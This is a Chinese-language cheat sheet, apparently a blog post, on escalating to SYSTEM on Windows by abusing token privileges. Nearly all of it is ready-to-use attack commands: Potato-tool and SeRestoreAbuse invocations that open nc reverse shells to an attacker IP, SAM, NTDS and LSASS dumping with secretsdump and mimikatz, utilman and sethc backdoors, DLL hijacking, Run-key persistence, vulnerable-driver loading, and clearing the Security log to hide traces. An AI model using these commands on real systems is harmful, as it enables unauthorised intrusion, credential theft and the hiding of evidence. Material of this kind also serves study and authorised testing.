Windows Token Privileges 提权方式详解
概述
Windows 使用访问令牌(Access Token)来描述进程或线程的安全上下文。通过 whoami /priv 可以查看当前用户持有的特权列表。某些特权即使处于 Disabled 状态,也可以通过代码启用后利用。
基本检查命令
1 2 3 4
| whoami /priv whoami /groups whoami /all systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
|
1. SeImpersonatePrivilege
描述
允许进程模拟(Impersonate)另一个用户的安全令牌。这是最常见的服务账户提权路径。
常见持有者
- IIS AppPool 账户
- SQL Server 服务账户
- Network Service
- Local Service
- 各类 Windows 服务账户
利用原理
攻击者创建一个命名管道或 COM 服务器,诱骗 SYSTEM 级别进程连接,捕获其令牌后调用 ImpersonateNamedPipeClient 或 ImpersonateClient 模拟该令牌身份。
利用工具与步骤
方法一:PrintSpoofer(Windows 10 / Server 2016/2019)
1 2 3 4 5 6 7 8
| # 直接获取 SYSTEM shell PrintSpoofer64.exe -i -c cmd
# 执行特定命令 PrintSpoofer64.exe -i -c "C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"
# 以指定用户运行(需要对应令牌) PrintSpoofer64.exe -i -c "cmd" -u "NT AUTHORITY\SYSTEM"
|
原理:利用 Print Spooler 服务的命名管道模拟漏洞。
方法二:JuicyPotato(Windows 10 1809 之前 / Server 2019 之前)
1 2 3 4 5 6 7 8
| # 基本用法 JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
# 反弹 shell JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t * -c {CLSID}
# 指定监听端口和 CLSID JuicyPotato.exe -l 9999 -p C:\Windows\System32\cmd.exe -a "/c C:\temp\nc.exe 10.10.14.1 443 -e cmd.exe" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
|
CLSID 需要根据目标系统版本选择,可参考:
- Windows 10 Pro:
{4991d34b-80a1-4291-83b6-3328366b9097}
- Windows Server 2016:
{8BC3F05E-D86B-11D0-A075-00C04FB68820}
方法三:GodPotato(通用,支持 Windows 8-11 / Server 2012-2022)
1 2 3 4 5
| # 执行命令 GodPotato.exe -cmd "cmd /c whoami"
# 反弹 shell GodPotato.exe -cmd "C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"
|
方法四:SweetPotato(集成多种方式)
1
| SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\out.txt"
|
方法五:RoguePotato(需要远程主机配合)
1 2 3 4 5
| # 攻击机上设置重定向(socat 将 135 端口流量转发回目标) socat tcp-listen:135,reuseaddr,fork tcp:TARGET_IP:9999
# 目标机执行 RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami" -l 9999
|
2. SeAssignPrimaryTokenPrivilege
描述
允许将主令牌(Primary Token)分配给新创建的进程。通常与 SeImpersonatePrivilege 配合使用。
常见持有者
- Network Service
- Local Service
- 特定服务账户
利用原理
通过 CreateProcessAsUser 或 CreateProcessWithToken API,使用窃取的 SYSTEM 令牌创建新进程。
利用步骤
方法一:配合 Potato 系列工具
与 SeImpersonatePrivilege 相同的 Potato 系列工具均可利用此权限。
方法二:手动利用(需编程)
1 2 3 4 5 6 7 8 9
|
OpenProcessToken(systemProcess, TOKEN_DUPLICATE, out hToken);
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, out hNewToken);
CreateProcessAsUser(hNewToken, "cmd.exe", ...);
|
3. SeBackupPrivilege
描述
允许绕过所有文件和目录的 DACL(访问控制列表)进行读取操作。持有此权限等同于对系统上所有文件拥有读取权限。
常见持有者
- Backup Operators 组成员
- 特定备份服务账户
利用步骤
方法一:导出 SAM 和 SYSTEM 注册表(本地提权)
1 2 3 4 5 6 7
| # 导出注册表 reg save hklm\sam C:\temp\sam reg save hklm\system C:\temp\system reg save hklm\security C:\temp\security
# 传输到攻击机后使用 secretsdump 提取哈希 python3 secretsdump.py -sam sam -system system -security security LOCAL
|
方法二:复制敏感文件
1 2 3 4 5
| # 使用 robocopy 的备份模式 robocopy /B "C:\Users\Administrator\Desktop" "C:\temp" secret.txt
# 复制 ntds.dit(域控) robocopy /B "C:\Windows\NTDS" "C:\temp" ntds.dit
|
方法三:使用 diskshadow 复制被锁定的文件(域控场景)
1 2 3 4 5 6 7 8 9 10 11
| # 创建 diskshadow 脚本 echo set context persistent nowriters > script.txt echo add volume c: alias myvolume >> script.txt echo create >> script.txt echo expose %myvolume% x: >> script.txt
# 执行 diskshadow /s script.txt
# 从影子副本复制 robocopy /B x:\Windows\NTDS C:\temp ntds.dit
|
方法四:通过编程利用(精确控制)
1 2 3 4 5 6 7 8 9 10 11
|
$fileHandle = [Kernel32]::CreateFile( "C:\Users\Administrator\Desktop\flag.txt", [FileAccess]::Read, [FileShare]::Read, [IntPtr]::Zero, [FileMode]::Open, 0x02000000, [IntPtr]::Zero )
|
方法五:导出域控所有哈希
1 2 3 4 5 6 7 8 9 10 11 12
| # 在域控上 # 1. 创建卷影副本 wmic shadowcopy call create Volume='C:\'
# 2. 复制 ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
# 3. 导出 SYSTEM 注册表 reg save hklm\system C:\temp\system
# 4. 攻击机解密 python3 secretsdump.py -ntds ntds.dit -system system LOCAL
|
4. SeRestorePrivilege
描述
允许绕过所有文件和目录的 DACL 进行写入操作。可以写入系统上任何文件,包括受保护的系统文件。
常见持有者
- Backup Operators 组成员
- 特定备份服务账户
利用步骤
方法一:覆盖系统辅助工具实现无密码提权
1 2 3 4 5 6 7 8 9 10
| # 备份 utilman.exe copy C:\Windows\System32\utilman.exe C:\temp\utilman.exe.bak
# 用 cmd.exe 替换 utilman.exe copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /Y
# 在登录界面点击"轻松使用"按钮即可获得 SYSTEM shell # 或者替换 sethc.exe(粘滞键) copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /Y # 连按5次 Shift 触发
|
方法二:DLL 劫持系统服务
1 2 3 4 5 6 7 8 9 10
| # 查找以 SYSTEM 运行且可被劫持的服务 # 将恶意 DLL 写入服务的搜索路径
# 示例:写入 wlbsctrl.dll 到 System32 # 该 DLL 被 IKEEXT 服务加载 copy C:\temp\malicious.dll C:\Windows\System32\wlbsctrl.dll
# 重启服务(如果有权限)或等待系统重启 net stop IKEEXT net start IKEEXT
|
方法三:修改注册表实现持久化
1 2 3 4 5
| # 使用 reg 命令写入启动项 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\payload.exe"
# 修改服务的 ImagePath reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe"
|
方法四:使用 SeRestoreAbuse 工具
1 2
| # 编译 SeRestoreAbuse 项目后 SeRestoreAbuse.exe "cmd /c C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"
|
5. SeTakeOwnershipPrivilege
描述
允许获取系统中任何可保护对象(文件、注册表键、AD 对象等)的所有权,无需被授予任何访问权限。
常见持有者
- Administrators 组(默认)
- 特定管理账户
利用步骤
方法一:获取敏感文件所有权
1 2 3 4 5 6 7 8
| # 获取 SAM 文件所有权 takeown /f "C:\Windows\System32\config\SAM" icacls "C:\Windows\System32\config\SAM" /grant %username%:F
# 获取管理员桌面文件 takeown /f "C:\Users\Administrator\Desktop\flag.txt" icacls "C:\Users\Administrator\Desktop\flag.txt" /grant %username%:F type "C:\Users\Administrator\Desktop\flag.txt"
|
方法二:获取注册表键所有权
1 2 3 4 5 6 7 8 9
| $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( "SAM\SAM", [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, [System.Security.AccessControl.RegistryRights]::TakeOwnership ) $acl = $key.GetAccessControl() $acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME") $key.SetAccessControl($acl)
|
方法三:递归获取目录所有权
1 2 3 4 5 6 7
| # 递归获取整个目录 takeown /f "C:\Windows\System32\config" /r /d y icacls "C:\Windows\System32\config" /grant %username%:F /t
# 之后可以复制 SAM、SYSTEM 等文件 copy "C:\Windows\System32\config\SAM" C:\temp\ copy "C:\Windows\System32\config\SYSTEM" C:\temp\
|
方法四:获取服务二进制文件所有权后替换
1 2 3 4 5 6 7 8 9 10 11 12 13
| # 查找以 SYSTEM 运行的服务 sc qc TargetService
# 获取服务二进制所有权 takeown /f "C:\Program Files\Service\service.exe" icacls "C:\Program Files\Service\service.exe" /grant %username%:F
# 替换为恶意文件 copy /Y C:\temp\payload.exe "C:\Program Files\Service\service.exe"
# 重启服务 sc stop TargetService sc start TargetService
|
6. SeDebugPrivilege
描述
允许调试和调整任何进程拥有的内存,包括 SYSTEM 进程。这是最强大的特权之一。
常见持有者
利用步骤
方法一:转储 LSASS 获取凭据
1 2 3 4 5 6 7 8 9 10 11
| # 使用 procdump(Sysinternals) procdump.exe -ma lsass.exe C:\temp\lsass.dmp -accepteula
# 使用 comsvcs.dll(无需额外工具) # 先获取 lsass PID tasklist | findstr lsass rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full
# 使用 mimikatz 离线解析 mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords
|
方法二:直接使用 Mimikatz
1 2 3 4
| mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords mimikatz # lsadump::sam mimikatz # lsadump::secrets
|
方法三:注入代码到 SYSTEM 进程
1 2 3 4 5
| # 使用 meterpreter migrate meterpreter > ps meterpreter > migrate <winlogon_PID> meterpreter > getuid # 输出: NT AUTHORITY\SYSTEM
|
方法四:使用 psgetsys.ps1 获取 SYSTEM shell
1 2 3 4 5
| Get-Process winlogon
./psgetsys.ps1 <winlogon_PID>
|
方法五:复制 SYSTEM 进程令牌
1 2 3 4
|
$proc = Get-Process -Name "winlogon" | Select-Object -First 1
|
7. SeLoadDriverPrivilege
描述
允许加载和卸载设备驱动程序到内核中。加载恶意或存在漏洞的驱动可直接获得内核级代码执行。
常见持有者
利用步骤
1 2 3 4 5 6 7 8 9
| # 步骤 1:将驱动注册到注册表 reg add "HKCU\System\CurrentControlSet\Capcom" /v ImagePath /t REG_SZ /d "\??\C:\temp\Capcom.sys" reg add "HKCU\System\CurrentControlSet\Capcom" /v Type /t REG_DWORD /d 1
# 步骤 2:使用 EoPLoadDriver 加载驱动 EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\temp\Capcom.sys
# 步骤 3:使用 ExploitCapcom 执行命令 ExploitCapcom.exe YOURCOMMAND
|
方法二:完整利用流程(编译版)
1 2 3 4 5 6 7 8 9
| # 1. 编译 EoPLoadDriver(加载驱动的工具) # 2. 编译 ExploitCapcom(利用 Capcom.sys 的工具) # 3. 准备 Capcom.sys 驱动文件
# 加载驱动 EoPLoadDriver.exe System\CurrentControlSet\Capcom \??\C:\temp\Capcom.sys
# 利用驱动执行 SYSTEM 命令 ExploitCapcom.exe
|
方法三:使用自定义漏洞驱动
1 2 3 4 5 6 7 8 9 10
| # 其他可利用的已签名漏洞驱动: # - DBUtil_2_3.sys (Dell) # - RTCore64.sys (MSI Afterburner) # - AsIO64.sys (ASUS)
# 通用流程: # 1. 注册驱动到注册表 # 2. 调用 NtLoadDriver 加载 # 3. 通过 IOCTL 与驱动通信实现任意读写 # 4. 覆盖内核中的令牌实现提权
|
8. SeManageVolumePrivilege
描述
允许执行卷维护任务,包括使用 FSCTL_SD_GLOBAL_CHANGE 修改文件系统安全描述符。
常见持有者
利用步骤
方法一:使用 SeManageVolumeExploit
1 2 3 4 5 6 7 8 9 10 11 12
| # 下载并编译 SeManageVolumeExploit # https://github.com/CsEnox/SeManageVolumeExploit
# 执行漏洞利用 - 会授予当前用户对 C:\ 所有文件的完全访问权限 SeManageVolumeExploit.exe
# 之后可以进行 DLL 劫持 # 例如覆盖 tzres.dll copy C:\temp\malicious.dll C:\Windows\System32\wbem\tzres.dll
# 触发加载(使用 systeminfo 或 w32tm) w32tm /tz
|
方法二:手动利用流程
1 2 3 4 5 6 7 8
| # 1. 利用 FSCTL_SD_GLOBAL_CHANGE 修改全盘安全描述符 # 2. 将所有文件的 Owner 改为当前用户 # 3. 获得对系统文件的完全访问 # 4. 进行 DLL 劫持或文件替换提权
# 常见 DLL 劫持目标: # C:\Windows\System32\wbem\tzres.dll (被 w32tm 加载) # C:\Windows\System32\phoneinfo.dll (被 svchost 加载)
|
9. SeCreateTokenPrivilege
描述
允许创建主令牌。可以伪造包含任意组成员身份和特权的令牌。
常见持有者
利用步骤
方法:使用 ZwCreateToken 创建特权令牌
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
TOKEN_USER tokenUser = { ... }; TOKEN_GROUPS tokenGroups = { ... }; TOKEN_PRIVILEGES tokenPrivs = { ... };
HANDLE hToken; ZwCreateToken(&hToken, TOKEN_ALL_ACCESS, &objectAttributes, TokenPrimary, &authId, &expirationTime, &tokenUser, &tokenGroups, &tokenPrivs, &tokenOwner, &tokenPrimaryGroup, &tokenDefaultDacl, &tokenSource);
CreateProcessAsUser(hToken, "cmd.exe", ...);
|
10. SeTcbPrivilege
描述
标识持有者为可信计算基(Trusted Computing Base)的一部分,即操作系统本身。可以执行几乎任何安全操作。
常见持有者
利用步骤
方法:通过 LsaLogonUser 获取任意用户令牌
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
HANDLE hToken; LSA_STRING originName = { ... }; KERB_S4U_LOGON s4uLogon = { ... }; s4uLogon.ClientUpn = L"Administrator@domain.local";
LsaLogonUser(hLsa, &originName, Network, authPackage, &s4uLogon, sizeof(s4uLogon), NULL, &tokenSource, &profileBuffer, &profileSize, &logonId, &hToken, "as, &subStatus);
CreateProcessAsUser(hToken, "cmd.exe", ...);
|
11. SeSecurityPrivilege
描述
允许管理审计和安全日志,可以读取和清除安全事件日志。
常见持有者
利用方式
1 2 3 4 5 6 7
| # 虽然不能直接提权,但可以: # 1. 清除安全日志掩盖痕迹 wevtutil cl Security
# 2. 修改 SACL(系统访问控制列表) # 3. 读取安全日志获取敏感信息(如登录事件中的用户名) wevtutil qe Security /f:text /c:50
|
12. SeSystemEnvironmentPrivilege
描述
允许修改系统固件环境变量(UEFI 变量)。
利用方式
1 2 3
| # 可以修改 UEFI 启动配置 # 理论上可以实现固件级持久化(Bootkit) # 实际利用较为复杂,需要特定硬件和固件知识
|
综合利用流程图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| whoami /priv │ ├── SeImpersonatePrivilege ──────► Potato 系列工具 ──► SYSTEM │ ├── SeAssignPrimaryTokenPrivilege ► Potato 系列工具 ──► SYSTEM │ ├── SeBackupPrivilege ───────────► 导出 SAM/NTDS ───► 哈希破解/PTH │ ├── SeRestorePrivilege ──────────► 覆盖系统文件 ────► SYSTEM │ ├── SeTakeOwnershipPrivilege ────► 夺取+修改 ACL ──► 读写任意文件 │ ├── SeDebugPrivilege ────────────► 转储 LSASS ─────► 凭据获取 │ 注入 SYSTEM 进程 ► SYSTEM │ ├── SeLoadDriverPrivilege ───────► 加载漏洞驱动 ───► 内核执行 ► SYSTEM │ ├── SeManageVolumePrivilege ─────► 修改文件 SD ────► DLL 劫持 ► SYSTEM │ ├── SeCreateTokenPrivilege ──────► 伪造令牌 ───────► SYSTEM │ └── SeTcbPrivilege ──────────────► S4U 登录 ───────► 任意用户
|
工具下载参考
| 工具 |
用途 |
项目地址 |
| PrintSpoofer |
SeImpersonate 利用 |
itm4n/PrintSpoofer |
| GodPotato |
SeImpersonate 通用利用 |
BeichenDream/GodPotato |
| JuicyPotato |
SeImpersonate 利用(旧版系统) |
ohpe/juicy-potato |
| SweetPotato |
集成多种 Potato |
CCob/SweetPotato |
| RoguePotato |
SeImpersonate 利用 |
antonioCoco/RoguePotato |
| Mimikatz |
凭据提取 |
gentilkiwi/mimikatz |
| EoPLoadDriver |
加载驱动 |
TarlogicSecurity/EoPLoadDriver |
| SeManageVolumeExploit |
SeManageVolume 利用 |
CsEnox/SeManageVolumeExploit |
注意事项
- 特权即使显示为 Disabled,也可以通过
AdjustTokenPrivileges API 启用
- 选择工具时需要匹配目标系统版本
- 部分利用需要特定的 CLSID,需根据目标 OS 版本查找
- 域控环境下 SeBackupPrivilege 的价值远高于单机环境
- 实战中建议优先尝试 Potato 系列(成功率高、操作简单)